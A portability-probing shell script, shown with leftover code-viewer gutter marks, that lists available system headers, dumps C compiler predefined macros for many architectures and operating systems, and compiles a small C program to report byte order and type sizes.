## added a few more include-names and try-predefines; some swiped from autoconf.
|
||||||
|
## added a couple of things commonly done as #defines so we can SEE 'em
|
||||||
|
|
||||||
|
## Here is where to change "cc" to "gcc" if needed:
|
||||||
|
CC=cc
|
||||||
|
|
||||||
|
if test -z "${INCLUDE}" ; then
|
||||||
|
INCLUDE=/usr/include
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo '/* STUPIDH run:'
|
||||||
|
uname -a
|
||||||
|
echo '*/'
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
echo "/* Includes, from ${INCLUDE} */"
|
||||||
|
for xx in \
|
||||||
|
assert ctype cdefs errno file fcntl ioctl malloc stdio stdlib stdarg iostdio \
|
||||||
|
stddef dirent direct dir ndir utmp wtmp utmpx wtmpx lastlog login paths \
|
||||||
|
getopt string strings signal setjmp io param stat types time timeb utime \
|
||||||
|
dos msdos unistd socket netdb varargs sysinfo systeminfo resource ulimit \
|
||||||
|
stream stropts pstat sysmacros termio termios sgtty tty ttyent lstat select \
|
||||||
|
sockio wait vfork bsdtypes mkdev utsname sysexits \
|
||||||
|
; do
|
||||||
|
|
||||||
|
XX=''
|
||||||
|
if test -f ${INCLUDE}/${xx}.h ; then
|
||||||
|
echo "#include <${xx}.h>"
|
||||||
|
XX=`echo $xx | tr '[a-z]' '[A-Z]'`
|
||||||
|
fi
|
||||||
|
if test -f ${INCLUDE}/sys/${xx}.h ; then
|
||||||
|
echo "#include <sys/${xx}.h>"
|
||||||
|
XX=`echo $xx | tr '[a-z]' '[A-Z]'`
|
||||||
|
fi
|
||||||
|
|
||||||
|
# everyone seems to have their own conventions; this may not be complete.
|
||||||
|
# thats why this is so STUPID.
|
||||||
|
# HAS_xx and USE_xx might indicate functions and available library calls,
|
||||||
|
# not includes. Deal...
|
||||||
|
|
||||||
|
if test "${XX}" ; then
|
||||||
|
echo "#define USE_${XX}_H"
|
||||||
|
echo "#define HAS_${XX}_H"
|
||||||
|
echo "#define HAS_${XX}"
|
||||||
|
echo "#define HAS${XX}"
|
||||||
|
echo "#define HAVE_${XX}_H"
|
||||||
|
echo "#define HAVE_${XX}"
|
||||||
|
echo "#define HAVE${XX}H"
|
||||||
|
echo "#define ${XX}H"
|
||||||
|
echo ''
|
||||||
|
fi
|
||||||
|
# Stupid hack: "dir" and "dirent" might mutually exclusive, a la GNU
|
||||||
|
# includes. This is to prevent it from biting us.
|
||||||
|
if test "${xx}" = "dirent" ; then
|
||||||
|
echo "#ifdef _SYS_DIRENT_H"
|
||||||
|
echo "#undef _SYS_DIRENT_H"
|
||||||
|
echo "#endif"
|
||||||
|
fi
|
||||||
|
|
||||||
|
### To make a DOS batchfile instead, do this [on a unix box!], xfer results,
|
||||||
|
### and have "xxx.bat" that types out all the cruft for %INCLUDE%\%1.
|
||||||
|
### WARNING: I might not have gotten the superquoting exactly right here...
|
||||||
|
# echo "if exist %INCLUDE%\\${xx}.h call xxx ${xx}"
|
||||||
|
# echo "if exist %INCLUDE%\\sys\\${xx}.h call xxx sys/${xx}"
|
||||||
|
### You also need to save and manually run the CPP input file, below.
|
||||||
|
### I've done this for msc6 and would appreciate results for other compilers.
|
||||||
|
|
||||||
|
done
|
||||||
|
sync
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
### Note: if all the previous output went to "stupid.h", it will be
|
||||||
|
### reincluded in the second part of this.
|
||||||
|
|
||||||
|
sed -e '/^#/d' -e '/^[ ]*$/d' > st00pid.in << 'EOF'
|
||||||
|
|
||||||
|
### More recently, some of this was swiped from the "gcc" doc. Autoconf is
|
||||||
|
### worth a harder look for more ideas; havent gotten around to it yet.
|
||||||
|
# architectures
|
||||||
|
alpha
|
||||||
|
dec
|
||||||
|
ibm
|
||||||
|
i370
|
||||||
|
i960
|
||||||
|
i860
|
||||||
|
ibm032
|
||||||
|
a29k
|
||||||
|
indigo
|
||||||
|
iris
|
||||||
|
mips
|
||||||
|
mipsel
|
||||||
|
sparc
|
||||||
|
sparclite
|
||||||
|
ncr
|
||||||
|
sh
|
||||||
|
harris
|
||||||
|
apple
|
||||||
|
vax
|
||||||
|
x86
|
||||||
|
ix86
|
||||||
|
i286
|
||||||
|
i386
|
||||||
|
i486
|
||||||
|
i586
|
||||||
|
pentium
|
||||||
|
intel
|
||||||
|
smp
|
||||||
|
mpu
|
||||||
|
mpu8080
|
||||||
|
mpu8086
|
||||||
|
amiga
|
||||||
|
hp
|
||||||
|
hppa
|
||||||
|
hp400
|
||||||
|
hp9000
|
||||||
|
snake
|
||||||
|
decmips
|
||||||
|
mc68000
|
||||||
|
mc68010
|
||||||
|
mc68020
|
||||||
|
mc68030
|
||||||
|
m68000
|
||||||
|
m68010
|
||||||
|
m68020
|
||||||
|
m68030
|
||||||
|
m68k
|
||||||
|
m88k
|
||||||
|
u3b15
|
||||||
|
u3b
|
||||||
|
u3b2
|
||||||
|
u3b5
|
||||||
|
u3b15
|
||||||
|
u3b20d
|
||||||
|
we32k
|
||||||
|
ppc
|
||||||
|
powerpc
|
||||||
|
arm
|
||||||
|
aviion
|
||||||
|
ns32000
|
||||||
|
iapx286
|
||||||
|
# minor exception to lc-vs-uc thing?
|
||||||
|
iAPX286
|
||||||
|
rs6000
|
||||||
|
rs6k
|
||||||
|
risc
|
||||||
|
sun
|
||||||
|
sun3
|
||||||
|
sun4
|
||||||
|
sun4c
|
||||||
|
sun4m
|
||||||
|
sequent
|
||||||
|
apollo
|
||||||
|
solbourne
|
||||||
|
pyr
|
||||||
|
pyramid
|
||||||
|
interdata
|
||||||
|
intertec
|
||||||
|
pdp11
|
||||||
|
u370
|
||||||
|
next
|
||||||
|
mac
|
||||||
|
macintosh
|
||||||
|
|
||||||
|
# for completeness; ya never know ... yes, found it!! -- solaris inet/common.h
|
||||||
|
big_endian
|
||||||
|
little_endian
|
||||||
|
lsbfirst
|
||||||
|
msbfirst
|
||||||
|
|
||||||
|
# vendors/OSes
|
||||||
|
unix
|
||||||
|
munix
|
||||||
|
m_unix
|
||||||
|
gcos
|
||||||
|
os
|
||||||
|
gssc
|
||||||
|
tss
|
||||||
|
isc
|
||||||
|
# *This* pair of imbeciles does *caseified defines*. Pinheads. One of
|
||||||
|
# these might trigger before the "tr" step.
|
||||||
|
NetBSD
|
||||||
|
netbsd
|
||||||
|
freebsd
|
||||||
|
FreeBSD
|
||||||
|
# cant do 386bsd, I dont think, but ...
|
||||||
|
_386bsd
|
||||||
|
bsd386
|
||||||
|
bsdunix
|
||||||
|
bsd_2
|
||||||
|
bsd_20
|
||||||
|
bsd
|
||||||
|
bsdi
|
||||||
|
bsd4
|
||||||
|
bsd42
|
||||||
|
bsd43
|
||||||
|
bsd44
|
||||||
|
bsd4_2
|
||||||
|
bsd4_3
|
||||||
|
bsd4_4
|
||||||
|
linux
|
||||||
|
minix
|
||||||
|
ultrix
|
||||||
|
ult3
|
||||||
|
ult4
|
||||||
|
bull
|
||||||
|
convex
|
||||||
|
convex_source
|
||||||
|
res
|
||||||
|
rt
|
||||||
|
esix
|
||||||
|
dg
|
||||||
|
dgux
|
||||||
|
encore
|
||||||
|
osf
|
||||||
|
osf1
|
||||||
|
osf2
|
||||||
|
# oops:
|
||||||
|
# osf/1
|
||||||
|
mach
|
||||||
|
mach386
|
||||||
|
mach_386
|
||||||
|
nextstep
|
||||||
|
tahoe
|
||||||
|
reno
|
||||||
|
sunos
|
||||||
|
sunos3
|
||||||
|
sunos4
|
||||||
|
sunos5
|
||||||
|
solaris
|
||||||
|
sun_src_compat
|
||||||
|
svr3
|
||||||
|
svr4
|
||||||
|
svr3_style
|
||||||
|
svr4_style
|
||||||
|
sysv
|
||||||
|
hpux
|
||||||
|
hp_ux
|
||||||
|
irix
|
||||||
|
sgi
|
||||||
|
sony
|
||||||
|
news
|
||||||
|
newsos
|
||||||
|
news_os
|
||||||
|
luna
|
||||||
|
lynxos
|
||||||
|
riscos
|
||||||
|
microport
|
||||||
|
ewsux
|
||||||
|
ews_ux
|
||||||
|
mport
|
||||||
|
dynix
|
||||||
|
genix
|
||||||
|
unicos
|
||||||
|
unixware
|
||||||
|
msdos
|
||||||
|
dos
|
||||||
|
os2
|
||||||
|
novell
|
||||||
|
univel
|
||||||
|
plan9
|
||||||
|
att
|
||||||
|
att_unix
|
||||||
|
sco
|
||||||
|
odt
|
||||||
|
aix
|
||||||
|
aux
|
||||||
|
a_ux
|
||||||
|
rsx
|
||||||
|
vms
|
||||||
|
|
||||||
|
# compiler cruft??
|
||||||
|
ansi
|
||||||
|
ansi_source
|
||||||
|
ansic
|
||||||
|
stdc
|
||||||
|
lint
|
||||||
|
sccs
|
||||||
|
libc_sccs
|
||||||
|
ms
|
||||||
|
msc
|
||||||
|
microsoft
|
||||||
|
gcc
|
||||||
|
gnu
|
||||||
|
gnuc
|
||||||
|
gnucc
|
||||||
|
gnu_source
|
||||||
|
sabre
|
||||||
|
saber
|
||||||
|
cygnus
|
||||||
|
source
|
||||||
|
all_source
|
||||||
|
gprof
|
||||||
|
prof
|
||||||
|
posix
|
||||||
|
posix_source
|
||||||
|
posix_sources
|
||||||
|
posix_c_source
|
||||||
|
xopen_source
|
||||||
|
args
|
||||||
|
p
|
||||||
|
proto
|
||||||
|
no_proto
|
||||||
|
prototype
|
||||||
|
prototypes
|
||||||
|
reentrant
|
||||||
|
kernel
|
||||||
|
str
|
||||||
|
trace
|
||||||
|
asm
|
||||||
|
libcpp
|
||||||
|
athena
|
||||||
|
athena_compat
|
||||||
|
# some preprocessors cant deal with this
|
||||||
|
# c++
|
||||||
|
cxx
|
||||||
|
cplusplus
|
||||||
|
borland
|
||||||
|
turbo
|
||||||
|
turboc
|
||||||
|
lattice
|
||||||
|
highc
|
||||||
|
|
||||||
|
# various defines that pop out of other .h files that we need to know about
|
||||||
|
index
|
||||||
|
strchr
|
||||||
|
rindex
|
||||||
|
strrchr
|
||||||
|
bcopy
|
||||||
|
memcpy
|
||||||
|
bzero
|
||||||
|
memset
|
||||||
|
path_login
|
||||||
|
path_lastlog
|
||||||
|
path_utmp
|
||||||
|
path_utmpx
|
||||||
|
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# FL must be named something.c, so STUPID gcc recognized it as a non-object!!
|
||||||
|
( FL=st00pid.c
|
||||||
|
if test -f stupid.h ; then
|
||||||
|
cp stupid.h $FL
|
||||||
|
sync
|
||||||
|
echo '/* Re-including stupid.h */'
|
||||||
|
sleep 1
|
||||||
|
else
|
||||||
|
echo '/* Skipping stupid.h */'
|
||||||
|
fi
|
||||||
|
while read xx ; do
|
||||||
|
XX=`echo $xx | tr '[a-z]' '[A-Z]'`
|
||||||
|
echo "#ifdef ${xx}" >> $FL
|
||||||
|
echo "\"${xx}\" = ${xx}" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef _${xx}" >> $FL
|
||||||
|
echo "\"_${xx}\" = _${xx}" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef _${xx}_" >> $FL
|
||||||
|
echo "\"_${xx}_\" = _${xx}_" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef __${xx}" >> $FL
|
||||||
|
echo "\"__${xx}\" = __${xx}" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef __${xx}__" >> $FL
|
||||||
|
echo "\"__${xx}__\" = __${xx}__" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef ${XX}" >> $FL
|
||||||
|
echo "\"${XX}\" = ${XX}" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef _${XX}" >> $FL
|
||||||
|
echo "\"_${XX}\" = _${XX}" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef _${XX}_" >> $FL
|
||||||
|
echo "\"_${XX}_\" = _${XX}_" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef __${XX}" >> $FL
|
||||||
|
echo "\"__${XX}\" = __${XX}" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef __${XX}__" >> $FL
|
||||||
|
echo "\"__${XX}__\" = __${XX}__" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
done
|
||||||
|
# and pick up a few specials
|
||||||
|
echo "#ifdef major" >> $FL
|
||||||
|
echo "\"major\" = major (x)" >> $FL
|
||||||
|
echo "\"minor\" = minor (x)" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
echo "#ifdef FD_SETSIZE" >> $FL
|
||||||
|
echo "\"FD_SETSIZE\" = FD_SETSIZE" >> $FL
|
||||||
|
echo "#endif" >> $FL
|
||||||
|
) < st00pid.in
|
||||||
|
sync
|
||||||
|
|
||||||
|
echo '/* Compiler predefines:'
|
||||||
|
${CC} -E st00pid.c | sed -e '/^#/d' -e '/^[ ]*$/d'
|
||||||
|
echo '*/'
|
||||||
|
sync
|
||||||
|
|
||||||
|
cat > st00pid.c << 'EOF'
|
||||||
|
#include <stdio.h>
|
||||||
|
main() {
|
||||||
|
union {
|
||||||
|
char *bletch;
|
||||||
|
int *i;
|
||||||
|
} yow;
|
||||||
|
static char orig[16];
|
||||||
|
strcpy (orig, "ABCDEFGHIJK");
|
||||||
|
yow.bletch = orig;
|
||||||
|
printf ("endian thing: %s = 0x%lx, addrbyte = %x -- ",
|
||||||
|
yow.bletch, *yow.i, *yow.i & 0xFF);
|
||||||
|
printf (((*yow.i & 0xff) == 0x41) ? "LITTLE\n" : "BIG\n");
|
||||||
|
printf ("short %d; int %d; long %d\n",
|
||||||
|
sizeof (short), sizeof (int), sizeof (long));
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
${CC} -o st00pid.x st00pid.c
|
||||||
|
echo '/* Architecture:'
|
||||||
|
./st00pid.x
|
||||||
|
echo '*/'
|
||||||
|
|
||||||
|
### dont nuke if generating DOS batchfiles
|
||||||
|
rm -f st00pid.*
|
||||||
|
sync
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
### stuff remaining to deal with:
|
||||||
|
# maybe take out the slew of HAS_* and HAS* excess predefines, and only use
|
||||||
|
# our "standardized" scheme [like we were going to generate a real includible
|
||||||
|
# file outa this??]
|
||||||
|
# various POSIX_ME_HARDERisms:
|
||||||
|
# vfork
|
||||||
|
# lockf/flock/fcntl/euuugh
|
||||||
|
# signal stuff
|
||||||
|
# termio/termios/sgtty hair
|
||||||
|
# strdup and related
|
||||||
|
# ifdef HAVE_STD_LIB and such nonsense
|
||||||
|
# auto-sniff cc-vs-gcc somehow? maybe a straight OR with exit statii..
|
||||||
|
|
Loading…
Reference in New Issue